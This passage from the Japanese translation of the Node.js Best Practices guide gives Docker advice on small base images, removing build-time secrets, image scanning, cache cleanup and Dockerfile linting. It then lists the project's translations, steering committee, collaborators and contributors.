破壊的変更を含むベースイメージの新しいバージョンが本番環境にデプロイされ、意図しないアプリケーションの挙動を引き起こす可能性があります。\n\n🔗 [**さらに読む: イメージタグを理解して「latest」タグを注意して使う**](./sections/docker/image-tags.japanese.md)\n\n<br /><br /><br />\n\n## ![✔] 8.10. 小さな Docker ベースイメージを優先する\n\n**TL;DR:** 大きなイメージは、脆弱性にさらされる可能性を高め、リソースの消費量を増加させます。Slim や Alpine Linux のような、スリムな Docker イメージを使うことで、この問題を軽減することができます。\n\n**さもないと:** イメージのビルド、プッシュ、プルに時間を要し、未知の攻撃の因子が悪意のあるアクターによって使用され、より多くのリソースが消費されます。\n\n🔗 [**さらに読む: 小さなイメージを優先する**](./sections/docker/smaller_base_images.japanese.md)\n\n<br /><br /><br />\n\n## ![✔] 8.11. ビルド時のシークレットをクリーンアウトし、引数にシークレットを含めることを避ける\n\n**TL;DR:** Docker のビルド環境からシークレットが漏洩することを避けてください。Docker イメージは一般的に、 CI や本番環境ほどサニタイズされていないレジストリといった複数の環境で共有されます。典型例としては、通常 dockerfile に引数として渡される npm トークンがあります。このトークンは必要となったタイミング以降も残り続け、攻撃者がプライベート npm レジストリにアクセスすることを無期限に許可することになります。これは、シークレットを `.npmrc` のようなファイルにコピーしてマルチステージビルドを用いてそれを削除する（ビルド履歴も削除するべきであることに注意してください）か、トレースを残さない Docker build-kit のシークレット機能を利用することで回避することができます。\n\n**さもないと:** CI と docker レジストリへのアクセス権限を持っている人は誰でも、おまけとして貴重な組織の情報にアクセスできてしまいます。\n\n🔗 [**さらに読む: ビルド時のシークレットをクリーンアウトする**](./sections/docker/avoid-build-time-secrets.japanese.md)\n\n<br /><br /><br />\n\n## ![✔] 8.12. イメージをスキャンして多層な脆弱性をチェックする\n\n**TL;DR:** コード依存関係の脆弱性をチェックすることに加えて、プロダクションで利用される最終的なイメージもスキャンするようにしてください。Docker イメージスキャナはコード依存関係だけでなく、OS のバイナリもチェックします。この E2E セキュリティスキャンはより多くの領域をカバーし、ビルド中に悪者が悪い因子を注入していないことを確認します。そのため、デプロイ前の最後のステップとしてこれを実行することをおすすめします。CI/CD プラグインも提供している、無料または商用のスキャナがいくつか存在します。\n\n**さもないと:** コードは脆弱性から完全に脆弱性から解放されているかもしれませんが、アプリケーションで一般的に使用されている OS レベルのバイナリ（例：OpenSSL、TarBall）の脆弱性が原因となって、ハッキングされる可能性が依然としてあります。\n\n🔗 [**さらに読む: プロダクションの前にイメージ全体をスキャンする**](./sections/docker/scan-images.japanese.md)\n\n<br /><br /><br />\n\n## ![✔] 8.13 NODE_MODULE キャッシュをクリーンアップする\n\n**TL;DR:** コンテナに依存関係をインストールした後は、ローカルのキャッシュを削除してください。今後のインストールを高速化することを目的として依存関係を複製しても、意味はありません - Docker イメージは不変です。一行のコードで、数十 MB（通常は画像サイズの 10~50％）を削ることができます。\n\n**さもないと:** 使用されないファイルが原因で、サイズが 3 割増のイメージがプロダクションにデプロイされることになります。\n\n🔗 [**さらに読む: NODE_MODULE キャッシュをクリーンアップする**](./sections/docker/clean-cache.japanese.md)\n\n<br /><br /><br />\n\n## ![✔] 8.14. 一般的な Docker のプラクティス\n\n**TL;DR:** Node.js とは直接関係の無い、Docker に関するアドバイス集です - Node における実装は他の言語とあまり変わりません。「さらに読む」から読み進めてください。\n\n🔗 [**さらに読む: 一般的な Docker のプラクティス**](./sections/docker/generic-tips.japanese.md)\n\n<br/><br /><br />\n\n## ![✔] 8.15. Dockerfile を lint する\n\n**TL;DR:** Dockerfile を linting することは、ベストプラクティスとは異なってしまっている Dockerfile の問題点を特定するための重要なステップです。Docker 専用の linter を使って潜在的な欠落をチェックすることで、パフォーマンスとセキュリティの改善可能箇所を容易に特定することができ、無駄な時間を削り、またプロダクションコードにおけるセキュリティの問題から解放してくれます。\n\n**さもないと:** Dockerfile の作者が誤って root を本番ユーザーにしてしまい、不明なソースリポジトリからの Docker イメージを使用してしまう、といったことが起こり得ます。これは、シンプルな litner を利用することで回避することができます。\n\n🔗 [**さらに読む: Dockerfile を lint する**](./sections/docker/lint-dockerfile.japanese.md)\n\n<br/><br /><br />\n\n<p align=\"right\"><a href=\"#table-of-contents\">⬆ Return to top</a></p>\n\n# マイルストーン\n\nこのガイドを維持し最新に保つために、私たちはコミュニティの助けを借りながらガイドラインとベストプラクティスを常に更新、改良しています。このプロジェクトに貢献したい場合は、私たちの[マイルストーン](https://github.com/goldbergyoni/nodebestpractices/milestones)をチェックしたり、ワーキンググループに参加することができます。\n\n<br/>\n\n## 翻訳\n\nすべての翻訳はコミュニティによって支えられています。完成済みの翻訳、進行中の翻訳、または新たな翻訳のいずれにおいても、サポートを受けられたら幸いです！\n\n### 翻訳（完了済み）\n\n- ![BR](./assets/flags/BR.png) [Brazilian Portuguese](./README.brazilian-portuguese.md) - Courtesy of [Marcelo Melo](https://github.com/marcelosdm)\n- ![CN](./assets/flags/CN.png) [Chinese](./README.chinese.md) - Courtesy of [Matt Jin](https://github.com/mattjin)\n- ![RU](./assets/flags/RU.png) [Russian](./README.russian.md) - Courtesy of [Alex Ivanov](https://github.com/contributorpw)\n- ![PL](./assets/flags/PL.png) [Polish](./README.polish.md) - Courtesy of [Michal Biesiada](https://github.com/mbiesiad)\n- ![JA](./assets/flags/JA.png) [Japanese](./README.japanese.md) - Courtesy of [Yuki Ota](https://github.com/YukiOta), [Yuta Azumi](https://github.com/YA21)\n- ![EU](./assets/flags/EU.png) [Basque](README.basque.md) - Courtesy of [Ane Diaz de Tuesta](https://github.com/anediaz) & Joxefe Diaz de Tuesta\n\n### 翻訳（進行中）\n\n- ![FR](./assets/flags/FR.png) [French](https://github.com/gaspaonrocks/nodebestpractices/blob/french-translation/README.french.md) ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/129))\n- ![HE](./assets/flags/HE.png) Hebrew ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/156))\n- ![KR](./assets/flags/KR.png) [Korean](README.korean.md) - Courtesy of [Sangbeom Han](https://github.com/uronly14me) ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/94))\n- ![ES](./assets/flags/ES.png) [Spanish](https://github.com/goldbergyoni/nodebestpractices/blob/spanish-translation/README.spanish.md) ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/95))\n- ![TR](./assets/flags/TR.png) Turkish ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/139))\n\n<br/><br/>\n\n## ステアリングコミッティー\n\nステアリングコミッティーのメンバーをご紹介します。このプロジェクトのガイダンスと将来の方向性を提供するために協力してくださっている方々です。さらに、コミッティーの各メンバーは、[GitHub プロジェクト](https://github.com/goldbergyoni/nodebestpractices/projects)で管理されているプロジェクトをリードしています。\n\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/yoni.png\"/>\n\n[Yoni Goldberg](https://github.com/goldbergyoni)\n<a href=\"https://twitter.com/goldbergyoni\"><img src=\"assets/images/twitter-s.png\" width=\"16\" height=\"16\"></img></a>\n<a href=\"https://goldbergyoni.com\"><img src=\"assets/images/www.png\" width=\"16\" height=\"16\"></img></a>\n\nアメリカ、ヨーロッパ、イスラエルにおいて、大規模な Node.js アプリケーション開発をサポートするコンサルタント。上記の多くのベストプラクティスは当初 [goldbergyoni.com](https://goldbergyoni.com) で公開されました。Yoni への連絡は [@goldbergyoni](https://github.com/goldbergyoni) または [me@goldbergyoni.com](mailto:me@goldbergyoni.com) までお願いします。\n\n<br/>\n\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/bruno.png\"/>\n\n[Bruno Scheufler](https://github.com/BrunoScheufler)\n<a href=\"https://brunoscheufler.com/\"><img src=\"assets/images/www.png\" width=\"16\" height=\"16\"></img></a>\n\n💻 フルスタック web エンジニア、Node.js & GraphQL の熱狂的なファン\n\n<br/>\n\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/kyle.png\"/>\n\n[Kyle Martin](https://github.com/js-kyle)\n<a href=\"https://twitter.com/kylemartin_93\"><img src=\"assets/images/twitter-s.png\" width=\"16\" height=\"16\"></img></a>\n<a href=\"https://www.linkedin.com/in/kylemartinnz\"><img src=\"assets/images/linkedin.png\" width=\"16\" height=\"16\"></img></a>\n\nニュージーランドを拠点とするフルスタックデベロッパー & サイトリライアビリティエンジニア。Web アプリケーションセキュリティや、グローバルスケールで稼働する Node.js アプリケーションの構築に関心があります。\n\n<br/>\n\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/kevyn.png\"/>\n\n[Kevyn Bruyere](https://github.com/kevynb)\n<a href=\"https://www.linkedin.com/in/kevynbruyere/\"><img src=\"assets/images/linkedin.png\" width=\"16\" height=\"16\"></img></a>\n\nOps や自動化に関心のあるフルスタックデベロッパー。\n\n<br/>\n\n### ステアリングコミッティー・エメリティ\n\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/sagir.png\"/>\n\n[Sagir Khan](https://github.com/sagirk)\n<a href=\"https://twitter.com/sagir_k\"><img src=\"assets/images/twitter-s.png\" width=\"16\" height=\"16\"></img></a>\n<a href=\"https://linkedin.com/in/sagirk\"><img src=\"assets/images/linkedin.png\" width=\"16\" height=\"16\"></img></a>\n<a href=\"https://sagirk.com\"><img src=\"assets/images/www.png\" width=\"16\" height=\"16\"></img></a>\n\nJavaScript とそのエコシステム（React、Node.js、TypeScript、GraphQL、MongoDB など、システムのあらゆるレイヤーで JS/JSON が関係するものであるなら何でも）の専門家。世界で最も認知されているブランドのために Web プラットフォームを利用してプロダクトを構築しています。Node.js ファウンデーションの個人メンバー。\n\n<br/>\n\n## コラボレーター\n\nすべてのコラボレーターの方々に感謝いたします！ 🙏\n\n私たちのコラボレーターは、新たなベストプラクティスの提案やイシューの優先順位付け、プルリクエストのレビューなどその他多くのことを通じて、定期的にこのリポジトリに貢献してくださっているメンバーの方々です。多くの人々がより良い Node.js アプリケーションを構築できるように導く私たちをサポートすることにもし興味があるのであれば、[貢献ガイドライン](./.operations/CONTRIBUTING.md)をお読み下さい 🎉\n\n| <a href=\"https://github.com/idori\" target=\"_blank\"><img src=\"assets/images/members/ido.png\" width=\"75\" height=\"75\"/></a> | <a href=\"https://github.com/TheHollidayInn\" target=\"_blank\"><img src=\"assets/images/members/keith.png\" width=\"75\" height=\"75\"/></a> |\n| :---------------------------------------------------------------------------------------------------------------------: | :--------------------------------------------------------------------------------------------------------------------------------: |\n|                                    [Ido Richter (Founder)](https://github.com/idori)                                    |                                        [Keith Holliday](https://github.com/TheHollidayInn)                                         |\n\n### コラボレーター・エメリティ\n\n| <a href=\"https://github.com/refack\" target=\"_blank\"><img src=\"assets/images/members/refael.png\" width=\"50\" height=\"50\"/></a> |\n| :-------------------------------------------------------------------------------------------------------------------------: |\n|                                        [Refael Ackermann](https://github.com/refack)                                        |\n\n<br/>\n\n## 貢献\n\nもしオープンソースに貢献したいと思ったことがあるのなら、いまがチャンスです！ 詳細は[貢献ドキュメント](.operations/CONTRIBUTING.md)を参照してください。\n\n## 貢献メンバー ✨\n\nこのリポジトリに貢献してくれた素晴らしい方々に感謝いたします。\n\n<!-- ALL-CONTRIBUTORS-LIST:START - Do not remove or modify this section -->\n<!-- prettier-ignore-start -->\n<!-- markdownlint-disable -->\n<table>\n  <tbody>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kevinrambaud\"><img src=\"https://avatars1.githubusercontent.com/u/7501477?v=4\" width=\"100px;\" alt=\"Kevin Rambaud\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kevin Rambaud</b></sub></a><br /><a href=\"#content-kevinrambaud\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/mfine15\"><img src=\"https://avatars1.githubusercontent.com/u/1286554?v=4\" width=\"100px;\" alt=\"Michael Fine\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Michael Fine</b></sub></a><br /><a href=\"#content-mfine15\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://squgeim.github.io\"><img src=\"https://avatars0.githubusercontent.com/u/4996818?v=4\" width=\"100px;\" alt=\"Shreya Dahal\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Shreya Dahal</b></sub></a><br /><a href=\"#content-squgeim\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://matheusrocha89.com\"><img src=\"https://avatars1.githubusercontent.com/u/3718366?v=4\" width=\"100px;\" alt=\"Matheus Cruz Rocha\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Matheus Cruz Rocha</b></sub></a><br /><a href=\"#content-matheusrocha89\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://bityog.github.io/Portfolio/\"><img src=\"https://avatars2.githubusercontent.com/u/28219178?v=4\" width=\"100px;\" alt=\"Yog Mehta\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yog Mehta</b></sub></a><br /><a href=\"#content-BitYog\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://kudapara.co.zw\"><img src=\"https://avatars3.githubusercontent.com/u/13519184?v=4\" width=\"100px;\" alt=\"Kudakwashe Paradzayi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kudakwashe Paradzayi</b></sub></a><br /><a href=\"#content-kudapara\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.t1st3.com/\"><img src=\"https://avatars1.githubusercontent.com/u/1469638?v=4\" width=\"100px;\" alt=\"t1st3\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>t1st3</b></sub></a><br /><a href=\"#content-t1st3\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/mulijordan1976\"><img src=\"https://avatars0.githubusercontent.com/u/33382022?v=4\" width=\"100px;\" alt=\"mulijordan1976\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>mulijordan1976</b></sub></a><br /><a href=\"#content-mulijordan1976\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/matchai\"><img src=\"https://avatars0.githubusercontent.com/u/4658208?v=4\" width=\"100px;\" alt=\"Matan Kushner\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Matan Kushner</b></sub></a><br /><a href=\"#content-matchai\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://fabiothiroki.github.io\"><img src=\"https://avatars2.githubusercontent.com/u/670057?v=4\" width=\"100px;\" alt=\"Fabio Hiroki\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Fabio Hiroki</b></sub></a><br /><a href=\"#content-fabiothiroki\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://james.sumners.info/\"><img src=\"https://avatars1.githubusercontent.com/u/321201?v=4\" width=\"100px;\" alt=\"James Sumners\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>James Sumners</b></sub></a><br /><a href=\"#content-jsumners\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/_DanGamble\"><img src=\"https://avatars2.githubusercontent.com/u/7152041?v=4\" width=\"100px;\" alt=\"Dan Gamble\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Dan Gamble</b></sub></a><br /><a href=\"#content-dan-gamble\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/trainorpj\"><img src=\"https://avatars3.githubusercontent.com/u/13276704?v=4\" width=\"100px;\" alt=\"PJ Trainor\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>PJ Trainor</b></sub></a><br /><a href=\"#content-trainorpj\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/reod\"><img src=\"https://avatars0.githubusercontent.com/u/3164299?v=4\" width=\"100px;\" alt=\"Remek Ambroziak\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Remek Ambroziak</b></sub></a><br /><a href=\"#content-reod\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://ca.non.co.il\"><img src=\"https://avatars0.githubusercontent.com/u/1829789?v=4\" width=\"100px;\" alt=\"Yoni Jah\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yoni Jah</b></sub></a><br /><a href=\"#content-yonjah\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/hazolsky\"><img src=\"https://avatars1.githubusercontent.com/u/1270790?v=4\" width=\"100px;\" alt=\"Misha Khokhlov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Misha Khokhlov</b></sub></a><br /><a href=\"#content-hazolsky\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://plus.google.com/+ЕвгенийОрехов/\"><img src=\"https://avatars3.githubusercontent.com/u/8045060?v=4\" width=\"100px;\" alt=\"Evgeny Orekhov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Evgeny Orekhov</b></sub></a><br /><a href=\"#content-EvgenyOrekhov\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/gediminasml\"><img src=\"https://avatars3.githubusercontent.com/u/19854105?v=4\" width=\"100px;\" alt=\"-\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>-</b></sub></a><br /><a href=\"#content-gediminasml\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://hisaac.net\"><img src=\"https://avatars3.githubusercontent.com/u/923876?v=4\" width=\"100px;\" alt=\"Isaac Halvorson\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Isaac Halvorson</b></sub></a><br /><a href=\"#content-hisaac\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.vedrankaracic.com\"><img src=\"https://avatars3.githubusercontent.com/u/2808092?v=4\" width=\"100px;\" alt=\"Vedran Karačić\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Vedran Karačić</b></sub></a><br /><a href=\"#content-vkaracic\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/lallenlowe\"><img src=\"https://avatars3.githubusercontent.com/u/10761165?v=4\" width=\"100px;\" alt=\"lallenlowe\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>lallenlowe</b></sub></a><br /><a href=\"#content-lallenlowe\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/nwwells\"><img src=\"https://avatars2.githubusercontent.com/u/1039473?v=4\" width=\"100px;\" alt=\"Nathan Wells\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Nathan Wells</b></sub></a><br /><a href=\"#content-nwwells\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/paulovitin\"><img src=\"https://avatars0.githubusercontent.com/u/125503?v=4\" width=\"100px;\" alt=\"Paulo Reis\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Paulo Reis</b></sub></a><br /><a href=\"#content-paulovitin\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://snap.simpego.ch\"><img src=\"https://avatars2.githubusercontent.com/u/1989646?v=4\" width=\"100px;\" alt=\"syzer\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>syzer</b></sub></a><br /><a href=\"#content-syzer\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://sancho.dev\"><img src=\"https://avatars0.githubusercontent.com/u/3763599?v=4\" width=\"100px;\" alt=\"David Sancho\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>David Sancho</b></sub></a><br /><a href=\"#content-davesnx\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://apiforge.it\"><img src=\"https://avatars0.githubusercontent.com/u/4929965?v=4\" width=\"100px;\" alt=\"Robert Manolea\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Robert Manolea</b></sub></a><br /><a href=\"#content-pupix\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://jumptoglide.com\"><img src=\"https://avatars2.githubusercontent.com/u/708395?v=4\" width=\"100px;\" alt=\"Xavier Ho\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Xavier Ho</b></sub></a><br /><a href=\"#content-spaxe\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.ocular-rhythm.io\"><img src=\"https://avatars0.githubusercontent.com/u/2738518?v=4\" width=\"100px;\" alt=\"Aaron\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Aaron</b></sub></a><br /><a href=\"#content-ocularrhythm\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://septa97.me\"><img src=\"https://avatars2.githubusercontent.com/u/13742634?v=4\" width=\"100px;\" alt=\"Jan Charles Maghirang Adona\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jan Charles Maghirang Adona</b></sub></a><br /><a href=\"#content-septa97\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.cakeresume.com/allenfang\"><img src=\"https://avatars2.githubusercontent.com/u/5351390?v=4\" width=\"100px;\" alt=\"Allen\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Allen</b></sub></a><br /><a href=\"#content-AllenFang\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/leonardovillela\"><img src=\"https://avatars3.githubusercontent.com/u/8650543?v=4\" width=\"100px;\" alt=\"Leonardo Villela\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Leonardo Villela</b></sub></a><br /><a href=\"#content-leonardovillela\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://michalzalecki.com\"><img src=\"https://avatars1.githubusercontent.com/u/3136577?v=4\" width=\"100px;\" alt=\"Michał Załęcki\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Michał Załęcki</b></sub></a><br /><a href=\"#content-MichalZalecki\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.wealthbar.com\"><img src=\"https://avatars1.githubusercontent.com/u/156449?v=4\" width=\"100px;\" alt=\"Chris Nicola\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Chris Nicola</b></sub></a><br /><a href=\"#content-chrisnicola\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/aecorredor\"><img src=\"https://avatars3.githubusercontent.com/u/9114987?v=4\" width=\"100px;\" alt=\"Alejandro Corredor\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Alejandro Corredor</b></sub></a><br /><a href=\"#content-aecorredor\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/cwar\"><img src=\"https://avatars3.githubusercontent.com/u/272843?v=4\" width=\"100px;\" alt=\"cwar\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>cwar</b></sub></a><br /><a href=\"#content-cwar\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/keyfoxth\"><img src=\"https://avatars3.githubusercontent.com/u/10647132?v=4\" width=\"100px;\" alt=\"Yuwei\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yuwei</b></sub></a><br /><a href=\"#content-keyfoxth\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://bigcodenerd.org\"><img src=\"https://avatars3.githubusercontent.com/u/10895594?v=4\" width=\"100px;\" alt=\"Utkarsh Bhatt\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Utkarsh Bhatt</b></sub></a><br /><a href=\"#content-utkarshbhatt12\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/duartemendes\"><img src=\"https://avatars2.githubusercontent.com/u/12852058?v=4\" width=\"100px;\" alt=\"Duarte Mendes\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Duarte Mendes</b></sub></a><br /><a href=\"#content-duartemendes\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://jasonkim.ca\"><img src=\"https://avatars2.githubusercontent.com/u/103456?v=4\" width=\"100px;\" alt=\"Jason Kim\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jason Kim</b></sub></a><br /><a href=\"#content-serv\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Max101\"><img src=\"https://avatars2.githubusercontent.com/u/2124249?v=4\" width=\"100px;\" alt=\"Mitja O.\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Mitja O.</b></sub></a><br /><a href=\"#content-Max101\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://sandromiguel.com\"><img src=\"https://avatars0.githubusercontent.com/u/6423157?v=4\" width=\"100px;\" alt=\"Sandro Miguel Marques\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Sandro Miguel Marques</b></sub></a><br /><a href=\"#content-SandroMiguel\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/GabeKuslansky\"><img src=\"https://avatars3.githubusercontent.com/u/9855482?v=4\" width=\"100px;\" alt=\"Gabe\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Gabe</b></sub></a><br /><a href=\"#content-GabeKuslansky\" title=\"Content\">🖋</a></td>\n    </tr>\n    